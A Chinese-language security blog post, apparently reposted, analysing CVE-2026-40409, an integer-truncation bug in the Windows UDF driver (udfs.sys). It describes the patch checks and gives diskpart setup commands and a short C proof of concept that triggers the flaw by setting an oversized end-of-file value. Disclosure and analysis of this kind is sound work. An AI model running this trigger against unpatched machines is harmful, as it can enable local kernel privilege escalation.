CVE-2026-40409UDFS的整数截断漏洞分析"

admin 2026-10-22 00:04:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE-2026-40409 UDFS的整数截断漏洞分析

原创

毕方安全实验室
毕方安全实验室

BeFun安全实验室

2026年6月29日 17:53
四川

在小说阅读器读本章

去阅读

CVE-2026-40409 UDFS的整数截断漏洞

漏洞分析

MSRC在6月修复了两个udfs.sys的漏洞,其中一个是由我们提交的,简单来说就是某个结构体里的一个64位变量,后面用的时候是截断为32位用的,但是另一个位置又用的64位,造成了上下文不一致,导致内核可以对一个用户指针进行解引用,进而触发权限提升。

漏洞位于udfs!UdfSetFileAllocationSize:

在 UdfSetFileAllocationSize 中,驱动使用卷参数将请求的文件大小换算为逻辑块数,核心逻辑可以概括为:

c

RoundedBlockCount =

ALIGN\_UP(NewFileSize, Vcb->BlockSize) >> Vcb->BlockShift;

在我的分析环境中:

  • Vcb->BlockSize = 0x200
  • Vcb->BlockShift = 9

例如:

text

NewFileSize = 0x0000080000008200

RoundedBlockCount = 0x0000000400000041

RoundedBlockCount 随后被写入 SCB 中多个 32 位字段,包括AllocatedBlockCount``AllocationSyncBlockCount

这一步会发生 64 位到 32 位截断。例如:

text

0x0000000400000000 -> 0x00000000

0x0000000400000041 -> 0x00000041

与此同时,同一 SCB 中多个 64 位大小字段仍会保留原始大值,包括FileSize``ValidDataLength``AdsFileSize

于是驱动进入如下不一致状态:

  • AllocatedBlockCount``AllocationSyncBlockCount

已被截断
* FileSize``ValidDataLength``AdsFileSize

仍是超大值

修复

在SCB结构体使用的地方都加了类似的检查:

c

if (Feature\2146947386\\_private\_IsEnabledDeviceUsageNoInline()) {

if (new\_size < 0 ||

new\_size > (0xffffffffLL << vcb->SectorShift)) {

return STATUS\_INVALID\_PARAMETER;

}

}

地址 函数 作用
0x14004d84f UdfSetFileAllocationSize 设置 EOF / allocation size 前校验新文件大小
0x1400585a9 UdfInitializeScbFromIcbContext 从磁盘 ICB 初始化 SCB 时校验 ICB 文件大小
0x140053592 UdfInitializeAllocations 初始化 allocation 时校验 SCB 文件大小
0x1400538b3 UdfInitializeAllocations 遍历 extent 后校验累计大小
0x14000333c UdfCommonWrite 写入扩展 EOF 路径校验 end offset
0x1400108ae UdfDasdWrite DASD 写路径校验写入区间

复现

使用以下命令创建一个udf虚拟盘:

Code

mkdir C:\temp 2>nul & (echo create vdisk file=C:\temp\udf-test.vhdx maximum=100 type=fixed&echo select vdisk file=C:\temp\udf-test.vhdx&echo attach vdisk&echo create partition primary&echo assign letter=D&echo exit) > C:\temp\udf-diskpart.txt & diskpart /s C:\temp\udf-diskpart.txt & format D: /fs:UDF /q /y

使用以下命令清理:

Code

(echo select vdisk file=C:\temp\udf-test.vhdx&echo detach vdisk&echo exit) > C:\temp\udf-cleanup-diskpart.txt & diskpart /s C:\temp\udf-cleanup-diskpart.txt & del /f /q C:\temp\udf-test.vhdx C:\temp\udf-diskpart.txt C:\temp\udf-cleanup-diskpart.txt

poc

c

typedef struct \_FILE\_END\_OF\_FILE\_INFORMATION {

LARGE\_INTEGER EndOfFile;

} FILE\_END\_OF\_FILE\_INFORMATION, \*PFILE\_END\_OF\_FILE\_INFORMATION;

typedef NTSTATUS(NTAPI \*PNtSetInformationFile)(

HANDLE                 FileHandle,

PIO\_STATUS\_BLOCK       IoStatusBlock,

PVOID                  FileInformation,

ULONG                  Length,

FILE\_INFORMATION\_CLASS FileInformationClass

);

int main(int argc, char\\ argv) {

HANDLE file = CreateFileA(

argv[1],

GENERIC\_READ | GENERIC\_WRITE,

FILE\_SHARE\_READ | FILE\_SHARE\_WRITE,

NULL,

OPEN\_ALWAYS,

FILE\_ATTRIBUTE\_NORMAL,

NULL);

if (file == INVALID\_HANDLE\_VALUE) {

printf(\"[-] CreateFileA failed: %lu\
\", GetLastError());

return 1;

}

FILE\_END\_OF\_FILE\_INFORMATION eofInfo;

IO\_STATUS\_BLOCK iosb;

ZeroMemory(&iosb, sizeof(iosb));

eofInfo.EndOfFile.QuadPart = 0x0000080000000000LL;

NTSTATUS status = NtSetInformationFilePtr(

file,

&iosb,

&eofInfo,

sizeof(eofInfo),

FileEndOfFileInformation);

CloseHandle(file);

}



CVE-2026-40409UDFS的整数截断漏洞分析" 网络安全文章

CVE-2026-40409UDFS的整数截断漏洞分析"

本文分析了CVE-2026-40409UDFS驱动整数截断漏洞,该漏洞位于UdfSetFileAllocationSize函数中,因64位变量被截断为32位使用导致上下文不一致,可能引发内核权限提升。微软通过添加文件大小校验修复漏洞,文章详细提供了漏洞复现步骤和POC代码示例。
速查!网信办又发布了一项强制性国家标准" 网络安全文章

速查!网信办又发布了一项强制性国家标准"

中央网信办于2026年6月26日发布《政务移动互联网应用程序管理要求》强制性国家标准征求意见稿,该标准针对政务移动应用管理的现实痛点,围绕功能建设、备案、使用、安全保密等环节提出统一管理要求,适用于各级行政机关、群团组织、事业单位及其他国家机关自建或依托平台搭建的政务移动客户端、小程序、快应用,旨在兼顾基层减负与数字政务安全。
深度丨基于甚高频无线通信技术的船舶加密通信系统的设计与实现" 网络安全文章

深度丨基于甚高频无线通信技术的船舶加密通信系统的设计与实现"

本文针对船舶甚高频(VHF)无线通信系统中AIS等关键数据明文传输的安全风险,设计并实现了一种具备多重安全模式与战术功能的加密通信系统。该系统创新性地利用自定义密钥管理协议封装AIS标准8号报文,并采用基于AES256的动态与静态密钥混合加密机制。系统构建了包含标准通道和专用加密通道的三重物理信道架构,以及链路层加密与网络层身份认证的双重安全架构。此外,它还集成了正常、加密、混合及静默四种工作模式,以满足从常规航行到编队协同突击等多种战术场景需求。实测表明,该系统在保持与传统海事系统良好兼容性的同时,显著
关注丨《实施网络安全标识的产品目录(第一批)》及相关实施规则" 网络安全文章

关注丨《实施网络安全标识的产品目录(第一批)》及相关实施规则"

该文档为国家网信办联合工信部、公安部印发的《实施网络安全标识的产品目录(第一批)》及相关实施规则,重点针对消费类网联摄像头建立网络安全标识制度。核心内容包括明确标识样式规格(含生产者、型号、能力等级等信息)、划分基础级至领先级三级能力检测标准、规范自愿备案流程(需提交检测报告等材料)及违规处理机制。可操作建议为生产者可自愿按指南进行检测备案,并在产品明显位置展示合规标识。
评论:0   参与:  0